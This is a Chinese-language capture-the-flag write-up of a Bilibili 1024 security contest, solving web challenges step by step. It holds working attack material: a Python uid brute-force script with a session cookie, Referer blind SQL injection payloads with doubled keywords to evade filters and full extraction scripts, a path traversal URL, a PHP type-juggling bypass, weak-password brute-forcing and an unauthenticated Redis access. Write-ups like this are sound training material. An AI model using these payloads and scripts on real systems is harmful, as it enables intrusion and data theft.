0x01:页面的背后是什么?

跳转题目页面发现要求使用bilibili Security Browser才能正常访问

需要bilibili Security Browser才能访问

遂打开chrome开发者工具【More Tools】->【Network conditions】-> 【User agent】

修改UA

修改浏览器UA为bilibili Security Browser,刷新页面后得到flag。

但是提交的时候发现flag不正确,所以审查了一下源码;

flag

发现解出的flag其实是第二题的flag,第一题的flag其实直接藏在源码中。

提交flag1、flag2成功,+20分;解锁成就:《关于我做第一题顺便把第二题解决这件事》


0x02:真正的秘密只有特殊的设备才能看到

  • 见上题

0x03:密码是啥?

  • 这题考验的是你是否是一个合格的二次元

密码框

进入题目发现需要输入用户名、密码,但是不需要进行验证码验证,应该是弱口令爆破;

打开burpsuite导入珍藏の字典对该题目进行账号密码爆破。

  • 很明显爆破不出来说明你不够二次元

最后结果:账号:admin ,密码:bilibili

弱口令

提交flag3,+10分;解锁成就:《二次元》


0x04:对不起,权限不足~

进入题目,提示只有超级管理员才能正常访问

权限不足

抓包发现可疑包文【http://xx.xx.xx.xx/api/ctf/4

可疑报文

这块饼干cookies很可疑,将role的值放到somd5中解密

somd5

发现名为为user

superuser
superadmin
admin
root
bilibiliadmin
bilibilisuperuser
bilibilisuperadmin
administrator
Administrator
SuperAdministrator
SYSOP
webmaster
Webmaster
master
supermaster
manager

遂开始尝试不同角色称号的md5值

最后解得答案为:

Administrator
7b7bc2512ee1fedcd76bdc68926d4f7b

拦截包文修改cookies中的role7b7bc2512ee1fedcd76bdc68926d4f7b获得flag4

flag4

提交flag4,+10分;解锁成就:《不是administrator是Administrator》


0x05:别人的秘密

打开题目链接提示这里没有你想要的答案~

别人的秘密

审计源码发现ajax代码

$(function () {
  (function ($) {
    $.getUrlParam = function (name) {
      var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
      var r = window.location.search.substr(1).match(reg);
      if (r != null) return unescape(r[2]);
      return null;
    }
  })(jQuery);

  var uid = $.getUrlParam('uid');
  if (uid == null) {
    uid = 100336889;
  }
  $.ajax({
    url: "api/ctf/5?uid=" + uid,
    type: "get",
    success: function (data) {
      console.log(data);
      if (data.code == 200) {
        // 如果有值:前端跳转
        $('#flag').html("欢迎超级管理员登陆~flag : " + data.data)
      } else {
        // 如果没值
        $('#flag').html("这里没有你想要的答案~")
      }
    }
  })
});

得知想要flag就得去请求/api/ctf/5?uid=获得,代码提示起始uid100336889

编写脚本进行爆破

"""
Descripition: fuckbili.py
Version: 0.0.0
Author: SmartFox97
Date: 2020-10-24 11:05:54
LastEditors: SmartFox97
LastEditTime: 2020-10-24 11:22:46
"""
import requests
import json

def get_the_flag(uid):
    url = "http://45.113.201.36/api/ctf/5?uid=" + str(uid)
    headers = {
        "Cookie": "session=eyJ1aWQiOiI0ODU1NjE4In0.X5YqJg.9fmCSRse9dXGtz5AXqonGI9rfvU; role=7b7bc2512ee1fedcd76bdc68926d4f7b"
    }
    _result = requests.get(url,headers=headers)
    _data = json.loads(_result.content.decode())
    if _data['code'] == 200:
        print(_data)
        return True
    else:
        print(_data)
        return False

if __name__ == "__main__":
    for uid in range(100336889,100336889+1000):
        if get_the_flag(uid):
            break

爆破结果:

爆破结果

提交flag5,+10分,解锁成就《以牙还牙,十倍奉还》

0x06:结束亦是开始

题目地址从这里开始是一台新的服务器。后端为Apache2.4.9 + PHP 5.5.9

打开是一个落单的博客文章详情页面

博客页面

url链接携带路径参数id=1,灵机一动,sqlmap跑起来;然而老是跑一半就404报错

扫描目录文件,发现目录中存在test.phpflag.txtend.php

直接访问flag.txt返回

flag

访问test.php返回得到一堆JSfuck

fuckjs

将代码复制丢进console中执行得到:

执行结果

var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
var str2 = "bilibili1024havefun";
console.log()

再次使用控制台打印获得

打印结果

哪里程序员最多?那必定是全球最大的程序员交流交友网站: GITHUB

到GitHub上搜索bilibili1024havefun

搜索结果

发现仓库interesting-1024/end,获得end.php的源码。

<?php

//filename end.php

$bilibili = "bilibili1024havefun";

$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
    $content = file_get_contents($_GET['url']);
    
    //文件路径猜解
    if (false){
        echo "还差一点点啦~";
    }else{
        echo $flag;
    }
}else{
    echo "你想要的不在这儿~";
}
?>

根据php源码得知,end.php需要传输俩个路径参数idurl

!is_numeric($_GET['id'])要求传入的值不是数字;

and $reg !== 1 and $str === 1要求传入的值能被intval解析为1

故构建路径参数id[]=1

根据前面所得的flag.txt的地址,构建URI为/blog/end.php?id[]=1&url=/flag.txt

拼接URL访问获得一张图片,图片隐写题,哼哼

图片隐写

下载后用UE打开,Ctrl+F查找flag,在文件末尾获得flag10(没错就是flag10)。

提交flag10,+10分;解锁成就《关于我做第六题解出第十题答案这件事》

关于第六题正确题解

今日换了服务器,于是又用sqlmap再次对第六题进行注入检查

sqlmap -u 'http://45.113.201.36/blog/single.php?id=1' --batch --level 5 --risk 3 --flush-session

跑出数据库

sqlmap发现存在referer时间盲注,且后端数据库为MySQL,加上--dbms mysql --dbs开始枚举裤名

sqlmap -u 'http://45.113.201.36/blog/single.php?id=1' --batch --level 5 --risk 3 --flush-session --dbms mysql --dbs

跑不出库名

结果跑不出裤名,我爪巴了,看来是有过滤了。

经过群里某位不想暴露ID的大佬点破,手工构建referer

Referer: 0'^if(substr((selselectect database()),1,1)>binary 0x65,(selecselectt 1+~0),0) ununionion selecselectt 1,2#

手工

成功回显。接下来套用jio本

import requests
url='http://120.92.151.189/blog/single.php?id=1'
flag=''
for i in range(1,8):
    left=33
    right=128

    while right-left!=1:
        mid=(left+right)/2
        # 读数据库名
        payload="0'^if(substr((selselectect database()),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
        
        # 读裤中有的表
        # payload="0'^if(substr((seleselectct group_concat(table_name) from infoorrmation_schema.tables whewherere table_schema=database()),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
        
        # 读表中存在的字段
        # payload="0'^if(substr((selselectect group_concat(column_name) from infoorrmation_schema.columns whewherere table_name='flag' anandd table_schema=database()),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
        headers={
        'Referer':payload
        }
        r=requests.get(url=url,headers=headers)
        if len(r.text) == 5596:
            left=mid
        else:
            right=mid
    flag+=chr(right)
    print (flag)

获得库名、表名及字段名

获得库名

读出表名

读出列

接下来套用jio本获取flag

import requests
url='http://120.92.151.189/blog/single.php?id=1'
flag=''
for i in range(1,40):
    left=33
    right=128

    while right-left!=1:
        mid=(left+right)/2
        payload="0'^if(substr((selselectect flag from bilictf.flag),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
        
        # print(payload)
        headers={
        'Referer':payload
        }
        r=requests.get(url=url,headers=headers)
        if len(r.text) == 5596:
            left=mid
        else:
            right=mid
    # print(hex((left+right)/2))
    # print(right)
    flag+=chr(right)
    print (flag)

获得flag6

获得

提交flag6,+10分;解锁成就《PY通红》


0x07:接下来的旅程

需要少年自己去探索啦~

在第 题的源码发现了一个可疑的api地址

可疑API

http://45.113.201.36/api/images?file=banner.png

使用字典爆破发现

http://45.113.201.36/api/images?file=../../../secret.txt

获得神秘字符串

访问得到神秘字符串一看就是base64 一次解密得到

JDFX6QfrqzRPSmX0N61M89ipWYtJV/pBQTBOYaXQuG8fArrun3WKxWFZGwNn21cG

base64一次解密

解密个屁啊,将secret.txt修改为flag7.txt

访问http://45.113.201.36/api/images?file=../../../flag7.txt获得flag7

flag7

提交flag7,+10分;解锁成就《...........》


0x08:接下来的旅程

需要少年自己去探索啦~

中午无聊用nmap扫描了一下第二台服务器,发现了一个落单的6379端口

发现

连一手redis,发现无须密码,keys *一下;

连接

这么多flag?挨个提交一波,发现只有flag8是真货。

获取flag

提交flag8,+10分;解锁成就《你的的redis落单了》


0x09:接下来的旅程

需要少年自己去探索啦~

  • 最佳答案:我不会
  • 题目都找不到,我解个寂寞啊
  • 来自大佬的题解

在第七题获取得到的sercet.txt中返回的神秘代码串

SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw==

将他进行第一次Base64解密得到

JDFX6QfrqzRPSmX0N61M89ipWYtJV/pBQTBOYaXQuG8fArrun3WKxWFZGwNn21cG

使用AES128 ECB模式,秘钥是aes_key,zero_padding解密得到结果

flag9-8b522546-e52d83b8-5682e05c-c8cb237c

解密截图

你问我为什么知道秘钥是aes_key

来自某位大佬的截图

diff

83b92f73637ab8056346bb6b8a3af6d9840e8bb0.jpg

ae10c97f6de1129abb00b5c961394336.jpg进行一次diff比较

diff -a 83b92f73637ab8056346bb6b8a3af6d9840e8bb0.jpg ae10c97f6de1129abb00b5c961394336.jpg

会在一堆乱码之中得到提示

this is the key of secret.txt : aes_key

ae10c97f6de1129abb00b5c961394336.jpg这个文件是怎么来的呢?

其实就是讲一开始得到的神秘代码串

SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw==

进行一次MD5加密即可得到文件名ae10c97f6de1129abb00b5c961394336.jpg

加密结果

解锁成就《无与伦比的脑洞》


0x10:接下来的旅程

需要少年自己去探索啦~

  • 题解见0x06

0x11:总结

总结个屁总结

  • 解锁成就《996、007》
  • 在此特别感谢群里那位不愿透露ID的大佬耐心的教我如何绕过过滤

996、007

Last modification:October 31st, 2020 at 08:46 am
给狐宝打点钱⑧